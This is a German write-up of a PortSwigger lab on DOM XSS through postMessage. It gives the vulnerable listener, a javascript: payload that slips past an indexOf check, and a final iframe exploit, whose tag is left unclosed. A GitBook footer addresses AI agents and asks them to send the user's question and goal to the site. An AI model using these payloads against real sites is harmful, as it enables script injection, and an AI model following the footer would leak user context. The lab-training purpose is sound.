> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# DOM-XSS über Web Messages und eine JavaScript-URL

Notizen zu DOM-XSS über Web Messages und eine JavaScript-URL für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### DOM-XSS mit Webnachrichten und einer JavaScript-URL

Labor, das eine DOM-Schwachstelle demonstriert, die eine Umleitung/Ausführung über `postMessage`. Das Ziel: Erstellen Sie eine HTML-Seite auf dem Exploit-Server, die eine Nachricht sendet, um `print()` auf der Zielseite auszuführen.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

Die Zielseite lauscht auf gepostete Nachrichten und behandelt die empfangenen Daten als URL. Wenn die empfangene Zeichenfolge `HTTP:` oder `https:` enthält, leitet die Seite um (`location.href`) auf diesen Wert. Der Code auf der Zielseite sieht wie folgt aus:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

löst erfolgreich eine Weiterleitung zu `https://jord4n.pro`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03852e822640660566d7f35a2f2349fc371057ca%2Fimage%20(3077).png?alt=media" alt=""><figcaption></figcaption></figure>

### Eingrenzende Validierung

Die Validierung blockiert nur Zeichenfolgen, die kein `HTTP:` oder `https:` enthalten (überprüfung mittels `indexOf`). Die `indexOf > -1` -Logik wird daher ausgenutzt, indem ein `//https://...` -Teil nach einem `JavaScript:` -Schema hinzugefügt wird, sodass die Bedingung erfüllt ist, während eine URL erhalten bleibt, die mit `JavaScript:` beginnt. Zum Beispiel:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Um einen Alarm anzuzeigen:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6f7921a6d9da8c82d21698e07410e9a03caf8fd%2Fimage%20(3078).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

Das `//https://google.com` -Teil wird nur verwendet, um die `indexOf('https:') > -1` -Bedingung zu erfüllen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-512a2707856d9dce518c0eac21de7c287d5446ef%2Fimage%20(3079).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Finaler Exploit

Die Angriffsseite kann ein iframe zur verwundbaren Seite enthalten und beim Laden die bösartige Nachricht an den eingebetteten Inhalt senden. Beispiel für eine Implementierung, die auf dem Angriffsserver platziert werden soll:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-645c3cc563ebdc1400083e89466bd04daf2c019a%2Fimage%20(3080).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
